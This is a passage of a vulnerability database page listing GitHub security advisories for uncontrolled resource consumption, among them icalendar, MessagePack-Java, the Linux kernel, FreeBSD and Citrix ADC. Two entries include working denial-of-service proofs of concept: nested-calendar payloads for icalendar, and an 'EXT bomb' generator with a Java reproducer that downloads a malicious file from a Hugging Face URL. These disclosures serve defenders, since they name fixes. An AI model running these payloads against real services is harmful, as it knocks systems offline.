Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

6366 vulnerabilities reference this CWE, most recent first.

GHSA-CV84-9P8J-FJ68

Vulnerability from github – Published: 2026-08-25 19:27 – Updated: 2026-08-25 19:27
VLAI
Summary
icalendar has Algorithmic Complexity in Equality
Details

Summary

Component.__eq__ compares subcomponents in O(2^n) time relative to nesting depth. Because the parser accepts arbitrarily nested components, a sub-kilobyte .ics file is enough to make a single equality check run for minutes or hang indefinitely. Any application that compares parsed components (==, !=, in, set/dict membership, deduplication, test assertions) against attacker-supplied calendar data is exposed to denial of service.

Details

Component subclasses dict and stores children in a separate subcomponents list. __eq__ (src/icalendar/cal/component.py:642-665) checks set-equivalence of children with two membership loops:

def __eq__(self, other):
    if len(self.subcomponents) != len(other.subcomponents):
        return False
    if not super().__eq__(other):
        return False
    for subcomponent in self.subcomponents:
        if subcomponent not in other.subcomponents:
            return False
    for subcomponent in other.subcomponents:
        if subcomponent not in self.subcomponents:
            return False
    return True

Each ... not in ... test invokes __eq__ on the children. For a nested chain, both loops descend the full subtree, so each level spawns two recursive comparisons: T(n) = 2·T(n-1) → O(2^n).

Parsing does not gate this. Component.from_ical builds the structure iteratively and imposes no depth limit, so BEGIN:VEVENT blocks can be nested to any depth (parsing the payload below is instant). The cost is paid only when a comparison occurs, and only when the operands are equal far enough down to keep both loops recursing, a condition the attacker controls by submitting equal subtrees.

PoC

from icalendar import Calendar

d = 26
event = b"BEGIN:VEVENT\r\n" * d + b"END:VEVENT\r\n" * d
ics = b"BEGIN:VCALENDAR\r\n" + event + event + b"END:VCALENDAR\r\n"

cal = Calendar.from_ical(ics)
a, b = cal.subcomponents
a == b

Measured on icalendar 7.1.x, CPython 3.14:

Payload Depth == time
552 B 20 0.76 s
656 B 24 12 s
708 B 26 48 s
~800 B 30 ~13 min

A single uploaded file supplies both operands (two identical nested events), so no second input is needed. The same blowup occurs in round-trip checks (cal == Calendar.from_ical(cal.to_ical())) and in any membership/dedup logic over subcomponents.

Impact

Algorithmic-complexity denial of service (CWE-407). Unauthenticated; a few hundred bytes of input pin a CPU core indefinitely. It affects any service that parses untrusted iCalendar data and then compares components for equality or membership, including calendar sync/import endpoints, invite processing, dedup, and round-trip/normalization checks. It is not triggered by parsing alone, and a comparison against an early-differing object short-circuits harmlessly, so impact is limited to code paths that perform such comparisons.

Fix

Component.__eq__ rewritten to walk an explicit stack instead of recursing, matching each pair of nested components exactly once. Equality is now linear in the number of components and preserves the existing multiset equivalence and commutativity semantics.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "icalendar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.1.0"
            },
            {
              "fixed": "7.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55099"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T19:27:31Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`Component.__eq__` compares subcomponents in `O(2^n)` time relative to nesting depth. Because the parser accepts arbitrarily nested components, a sub-kilobyte `.ics` file is enough to make a single equality check run for minutes or hang indefinitely. Any application that compares parsed components (`==`, `!=`, `in`, set/dict membership, deduplication, test assertions) against attacker-supplied calendar data is exposed to denial of service.\n\n### Details\n\n`Component` subclasses `dict` and stores children in a separate `subcomponents` list. `__eq__` (`src/icalendar/cal/component.py:642-665`) checks set-equivalence of children with two membership loops:\n\n```python\ndef __eq__(self, other):\n    if len(self.subcomponents) != len(other.subcomponents):\n        return False\n    if not super().__eq__(other):\n        return False\n    for subcomponent in self.subcomponents:\n        if subcomponent not in other.subcomponents:\n            return False\n    for subcomponent in other.subcomponents:\n        if subcomponent not in self.subcomponents:\n            return False\n    return True\n```\n\nEach `... not in ...` test invokes `__eq__` on the children. For a nested chain, both loops descend the full subtree, so each level spawns two recursive comparisons: `T(n) = 2\u00b7T(n-1)` \u2192 `O(2^n)`.\n\nParsing does not gate this. `Component.from_ical` builds the structure iteratively and imposes no depth limit, so `BEGIN:VEVENT` blocks can be nested to any depth (parsing the payload below is instant). The cost is paid only when a comparison occurs, and only when the operands are equal far enough down to keep both loops recursing, a condition the attacker controls by submitting equal subtrees.\n\n### PoC\n\n```python\nfrom icalendar import Calendar\n\nd = 26\nevent = b\"BEGIN:VEVENT\\r\\n\" * d + b\"END:VEVENT\\r\\n\" * d\nics = b\"BEGIN:VCALENDAR\\r\\n\" + event + event + b\"END:VCALENDAR\\r\\n\"\n\ncal = Calendar.from_ical(ics)\na, b = cal.subcomponents\na == b\n```\n\nMeasured on `icalendar` 7.1.x, CPython 3.14:\n\n| Payload | Depth | `==` time |\n|---|---|---|\n| 552 B | 20 | 0.76 s |\n| 656 B | 24 | 12 s |\n| 708 B | 26 | 48 s |\n| ~800 B | 30 | ~13 min |\n\nA single uploaded file supplies both operands (two identical nested events), so no second input is needed. The same blowup occurs in round-trip checks (`cal == Calendar.from_ical(cal.to_ical())`) and in any membership/dedup logic over subcomponents.\n\n### Impact\n\nAlgorithmic-complexity denial of service (CWE-407). Unauthenticated; a few hundred bytes of input pin a CPU core indefinitely. It affects any service that parses untrusted iCalendar data and then compares components for equality or membership, including calendar sync/import endpoints, invite processing, dedup, and round-trip/normalization checks. It is not triggered by parsing alone, and a comparison against an early-differing object short-circuits harmlessly, so impact is limited to code paths that perform such comparisons.\n\n### Fix\n\n`Component.__eq__` rewritten to walk an explicit stack instead of recursing, matching each pair of nested components exactly once. Equality is now linear in the number of components and preserves the existing multiset equivalence and commutativity semantics.",
  "id": "GHSA-cv84-9p8j-fj68",
  "modified": "2026-08-25T19:27:31Z",
  "published": "2026-08-25T19:27:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/collective/icalendar/security/advisories/GHSA-cv84-9p8j-fj68"
    },
    {
      "type": "WEB",
      "url": "https://github.com/collective/icalendar/commit/b6b2608ae3af6de40695b4e40f71847485aa0b49"
    },
    {
      "type": "WEB",
      "url": "https://github.com/collective/icalendar/commit/cad40cd112c93fd142ec12cc5b37445a849b8a79"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/collective/icalendar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/collective/icalendar/releases/tag/v7.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "icalendar has Algorithmic Complexity in Equality"
}

GHSA-CV8J-WFMQ-4FJV

Vulnerability from github – Published: 2024-05-21 15:31 – Updated: 2025-12-06 06:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

net: sched: fix memory leak in tcindex_partial_destroy_work

Syzbot reported memory leak in tcindex_set_parms(). The problem was in non-freed perfect hash in tcindex_partial_destroy_work().

In tcindex_set_parms() new tcindex_data is allocated and some fields from old one are copied to new one, but not the perfect hash. Since tcindex_partial_destroy_work() is the destroy function for old tcindex_data, we need to free perfect hash to avoid memory leak.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-47295"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-21T15:15:17Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sched: fix memory leak in tcindex_partial_destroy_work\n\nSyzbot reported memory leak in tcindex_set_parms(). The problem was in\nnon-freed perfect hash in tcindex_partial_destroy_work().\n\nIn tcindex_set_parms() new tcindex_data is allocated and some fields from\nold one are copied to new one, but not the perfect hash. Since\ntcindex_partial_destroy_work() is the destroy function for old\ntcindex_data, we need to free perfect hash to avoid memory leak.",
  "id": "GHSA-cv8j-wfmq-4fjv",
  "modified": "2025-12-06T06:30:15Z",
  "published": "2024-05-21T15:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47295"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/01d0d2b8b4e3cf2110baba9371c0c3d04ad5c77b"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/18c3fa7a7fdbb4d21dafc8a7710ae2c1680930f6"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/372ae77cf11d11fb118cbe2d37def9dd5f826abd"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3abebc503a5148072052c229c6b04b329a420ecd"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/53af9c793f644d5841d84d8e0ad83bd7ab47f3e0"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/7a6fb69bbcb21e9ce13bdf18c008c268874f0480"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/7c183dc0af472dec33d2c0786a5e356baa8cad19"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/8d7924ce85bae64e7a67c366c7c50840f49f3a62"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/8e9662fde6d63c78eb1350f6167f64c9d71a865b"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/cac71d27745f92ee13f0ecc668ffe151a4a9c9b1"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f5051bcece50140abd1a11a2d36dc3ec5484fc32"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CVCM-JHP7-5VQH

Vulnerability from github – Published: 2025-06-06 12:30 – Updated: 2025-06-06 12:30
VLAI
Details

Uncontrolled resource consumption vulnerability in IDF v0.10.0-0C03-03 and ZLF v0.10.0-0C03-04. The devices improperly handle TLS requests associated with PROCOME sockets, so TLS requests sent to those PROCOME ports could cause the device to reboot and result in a denial of service. To exploit this vulnerability, PROCOME ports must be configured and active, with communications encryption active.

Severity
8.3 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-41361"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-06T12:15:22Z",
    "severity": "HIGH"
  },
  "details": "Uncontrolled resource consumption vulnerability in IDF v0.10.0-0C03-03 and ZLF v0.10.0-0C03-04. The devices improperly handle TLS requests associated with PROCOME sockets, so TLS requests sent to those PROCOME ports could cause the device to reboot and result in a denial of service. To exploit this vulnerability, PROCOME ports must be configured and active, with communications encryption active.",
  "id": "GHSA-cvcm-jhp7-5vqh",
  "modified": "2025-06-06T12:30:33Z",
  "published": "2025-06-06T12:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41361"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-zivs-idf-and-zlf-products"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-CVHM-GJ56-WHX3

Vulnerability from github – Published: 2022-05-14 01:59 – Updated: 2022-05-14 01:59
VLAI
Details

In FreeBSD before 11.1-STABLE, 11.2-RELEASE-p2, 11.1-RELEASE-p13, ip fragment reassembly code is vulnerable to a denial of service due to excessive system resource consumption. This issue can allow a remote attacker who is able to send an arbitrary ip fragments to cause the machine to consume excessive resources.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-6923"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-09-04T18:29:00Z",
    "severity": "HIGH"
  },
  "details": "In FreeBSD before 11.1-STABLE, 11.2-RELEASE-p2, 11.1-RELEASE-p13, ip fragment reassembly code is vulnerable to a denial of service due to excessive system resource consumption. This issue can allow a remote attacker who is able to send an arbitrary ip fragments to cause the machine to consume excessive resources.",
  "id": "GHSA-cvhm-gj56-whx3",
  "modified": "2022-05-14T01:59:48Z",
  "published": "2022-05-14T01:59:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6923"
    },
    {
      "type": "WEB",
      "url": "https://www.freebsd.org/security/advisories/FreeBSD-SA-18:10.ip.asc"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/105336"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1041505"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CVQF-GHWG-56GJ

Vulnerability from github – Published: 2021-12-08 00:01 – Updated: 2021-12-09 00:01
VLAI
Details

An uncontrolled resource consumption vulnerability exists in Citrix ADC <13.0-83.27, <12.1-63.22 and 11.1-65.23 that could allow an attacker with access to NSIP or SNIP with management interface access to cause a temporary disruption of the Management GUI, Nitro API, and RPC communication.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-22956"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-07T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "An uncontrolled resource consumption vulnerability exists in Citrix ADC \u003c13.0-83.27, \u003c12.1-63.22 and 11.1-65.23 that could allow an attacker with access to NSIP or SNIP with management interface access to cause a temporary disruption of the Management GUI, Nitro API, and RPC communication.",
  "id": "GHSA-cvqf-ghwg-56gj",
  "modified": "2021-12-09T00:01:46Z",
  "published": "2021-12-08T00:01:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22956"
    },
    {
      "type": "WEB",
      "url": "https://support.citrix.com/article/CTX330728"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-CW2R-4P82-QV79

Vulnerability from github – Published: 2023-12-28 16:36 – Updated: 2024-11-12 18:30
VLAI
Summary
DoS with algorithms that use PBKDF2 due to unbounded PBES2 Count value
Details

Impact

Denial of Service, Applications that allow the use of the PBKDF2 algorithm.

Patches

A patch is available that sets the maximum number of default rounds.

Workarounds

Applications that do not need to use PBKDF2 should simply specify the algorithms use and exclude it from the list. Applications that need to use the algorithm should upgrade to the new version that allows to set a maximum rounds number.

Acknowledgement

The issues was reported by Jingcheng Yang and Jianjun Chen from Sichuan University and Zhongguancun Lab

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "jwcrypto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-6681"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-28T16:36:59Z",
    "nvd_published_at": "2024-02-12T14:15:08Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nDenial of Service,\nApplications that allow the use of the PBKDF2 algorithm.\n\n### Patches\nA [patch](https://github.com/latchset/jwcrypto/commit/d2655d370586cb830e49acfb450f87598da60be8) is available that sets the maximum number of default rounds.\n\n### Workarounds\nApplications that do not need to use PBKDF2 should simply specify the algorithms use and exclude it from the list.\nApplications that need to use the algorithm should upgrade to the new version that allows to set a maximum rounds number.\n\n### Acknowledgement\nThe issues was reported by Jingcheng Yang and Jianjun Chen from Sichuan University\nand Zhongguancun Lab\n",
  "id": "GHSA-cw2r-4p82-qv79",
  "modified": "2024-11-12T18:30:50Z",
  "published": "2023-12-28T16:36:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/latchset/jwcrypto/security/advisories/GHSA-cw2r-4p82-qv79"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6681"
    },
    {
      "type": "WEB",
      "url": "https://github.com/latchset/jwcrypto/commit/d2655d370586cb830e49acfb450f87598da60be8"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3267"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:9281"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2023-6681"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2260843"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/latchset/jwcrypto"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/jwcrypto/PYSEC-2024-104.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DoS with algorithms that use PBKDF2 due to unbounded PBES2 Count value"
}

GHSA-CW39-R4H6-8J3X

Vulnerability from github – Published: 2026-01-05 14:59 – Updated: 2026-01-05 14:59
VLAI
Summary
MessagePack for Java Vulnerable to Remote DoS via Malicious EXT Payload Allocation
Details

Summary

Affected Components:

org.msgpack.core.MessageUnpacker.readPayload()
org.msgpack.core.MessageUnpacker.unpackValue()
org.msgpack.value.ExtensionValue.getData()

A denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation.

PoC

import msgpack
import struct
import os

OUTPUT_DIR = "bombs"
os.makedirs(OUTPUT_DIR, exist_ok=True)

# EXT format: fixext / ext8 / ext16 / ext32
# ext32 allows attacker-controlled length (uint32)

length = 1
step = 10_000_000

while True:
    try:
        # EXT32: 0xC9 | length (4 bytes) | type (1 byte)
        header = b'\xC9' + struct.pack(">I", length) + b'\x01'
        payload = b'A'   # actual data tiny

        data = header + payload

        fname = f"{OUTPUT_DIR}/ext_length_{length}.msgpack"
        with open(fname, "wb") as f:
            f.write(data)

        print(f"[+] Generated EXT bomb with declared length={length}")
        length += step

    except Exception as e:
        print("[!] Stopped:", e)
        break

Download dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer

// Main.java
import org.msgpack.core.MessagePack;
import org.msgpack.core.MessageUnpacker;
import org.msgpack.value.ExtensionValue;

import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
    public static void main(String[] args) throws Exception {

        byte[] data = Files.readAllBytes(
            Paths.get("ext_length_470000001.msgpack")
        );

        MessageUnpacker unpacker =
            MessagePack.newDefaultUnpacker(data);

        ExtensionValue ext =
            unpacker.unpackValue().asExtensionValue();

        // Vulnerability trigger:
        byte[] payload = ext.getData();

        System.out.println(payload.length);
    }
}

Compile

javac -cp msgpack-core-0.9.8.jar Main.java

Run (with limited heap)

java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main

Observed Result:

Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
    at org.msgpack.core.MessageUnpacker.readPayload(...)
    at org.msgpack.core.MessageUnpacker.unpackValue(...)

var u = new java.net.URL("https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/ext_length_470000001.msgpack");
var d = u.openStream().readAllBytes();
var up = org.msgpack.core.MessagePack.newDefaultUnpacker(d);
up.unpackValue().asExtensionValue().getData();

Run:

java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main

A remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer.

Resolution

This issue is addressed in https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11

Impact

This vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.msgpack:msgpack-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-21452"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-05T14:59:12Z",
    "nvd_published_at": "2026-01-02T21:16:03Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAffected Components:\n```\norg.msgpack.core.MessageUnpacker.readPayload()\norg.msgpack.core.MessageUnpacker.unpackValue()\norg.msgpack.value.ExtensionValue.getData()\n```\nA denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation.\n\n### PoC\n```\nimport msgpack\nimport struct\nimport os\n\nOUTPUT_DIR = \"bombs\"\nos.makedirs(OUTPUT_DIR, exist_ok=True)\n\n# EXT format: fixext / ext8 / ext16 / ext32\n# ext32 allows attacker-controlled length (uint32)\n\nlength = 1\nstep = 10_000_000\n\nwhile True:\n    try:\n        # EXT32: 0xC9 | length (4 bytes) | type (1 byte)\n        header = b\u0027\\xC9\u0027 + struct.pack(\"\u003eI\", length) + b\u0027\\x01\u0027\n        payload = b\u0027A\u0027   # actual data tiny\n\n        data = header + payload\n\n        fname = f\"{OUTPUT_DIR}/ext_length_{length}.msgpack\"\n        with open(fname, \"wb\") as f:\n            f.write(data)\n\n        print(f\"[+] Generated EXT bomb with declared length={length}\")\n        length += step\n\n    except Exception as e:\n        print(\"[!] Stopped:\", e)\n        break\n```\nDownload dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer\n```\n// Main.java\nimport org.msgpack.core.MessagePack;\nimport org.msgpack.core.MessageUnpacker;\nimport org.msgpack.value.ExtensionValue;\n\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\n\npublic class Main {\n    public static void main(String[] args) throws Exception {\n\n        byte[] data = Files.readAllBytes(\n            Paths.get(\"ext_length_470000001.msgpack\")\n        );\n\n        MessageUnpacker unpacker =\n            MessagePack.newDefaultUnpacker(data);\n\n        ExtensionValue ext =\n            unpacker.unpackValue().asExtensionValue();\n\n        // Vulnerability trigger:\n        byte[] payload = ext.getData();\n\n        System.out.println(payload.length);\n    }\n}\n\n```\nCompile\n```\njavac -cp msgpack-core-0.9.8.jar Main.java\n```\nRun (with limited heap)\n```\njava -Xmx256m -cp .:msgpack-core-0.9.8.jar Main\n```\nObserved Result:\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Java heap space\n    at org.msgpack.core.MessageUnpacker.readPayload(...)\n    at org.msgpack.core.MessageUnpacker.unpackValue(...)\n```\n```\nvar u = new java.net.URL(\"https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/ext_length_470000001.msgpack\");\nvar d = u.openStream().readAllBytes();\nvar up = org.msgpack.core.MessagePack.newDefaultUnpacker(d);\nup.unpackValue().asExtensionValue().getData();\n```\nRun:\n```\njava -Xmx256m -cp .:msgpack-core-0.9.8.jar Main\n```\nA remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer.\n\n## Resolution \nThis issue is addressed in https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11\n\n### Impact\nThis vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.",
  "id": "GHSA-cw39-r4h6-8j3x",
  "modified": "2026-01-05T14:59:12Z",
  "published": "2026-01-05T14:59:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/msgpack/msgpack-java/security/advisories/GHSA-cw39-r4h6-8j3x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21452"
    },
    {
      "type": "WEB",
      "url": "https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/msgpack/msgpack-java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MessagePack for Java Vulnerable to Remote DoS via Malicious EXT Payload Allocation"
}

GHSA-CW63-CPQX-9VX9

Vulnerability from github – Published: 2022-05-13 01:42 – Updated: 2025-04-20 03:48
VLAI
Details

The bio_map_user_iov and bio_unmap_user functions in block/bio.c in the Linux kernel before 4.13.8 do unbalanced refcounting when a SCSI I/O vector has small consecutive buffers belonging to the same page. The bio_add_pc_page function merges them into one, but the page reference is never dropped. This causes a memory leak and possible system lockup (exploitable against the host OS by a guest OS user, if a SCSI disk is passed through to a virtual machine) due to an out-of-memory condition.

Severity
6.5 (Medium)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-12190"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-772"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-11-22T18:29:00Z",
    "severity": "MODERATE"
  },
  "details": "The bio_map_user_iov and bio_unmap_user functions in block/bio.c in the Linux kernel before 4.13.8 do unbalanced refcounting when a SCSI I/O vector has small consecutive buffers belonging to the same page. The bio_add_pc_page function merges them into one, but the page reference is never dropped. This causes a memory leak and possible system lockup (exploitable against the host OS by a guest OS user, if a SCSI disk is passed through to a virtual machine) due to an out-of-memory condition.",
  "id": "GHSA-cw63-cpqx-9vx9",
  "modified": "2025-04-20T03:48:54Z",
  "published": "2022-05-13T01:42:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12190"
    },
    {
      "type": "WEB",
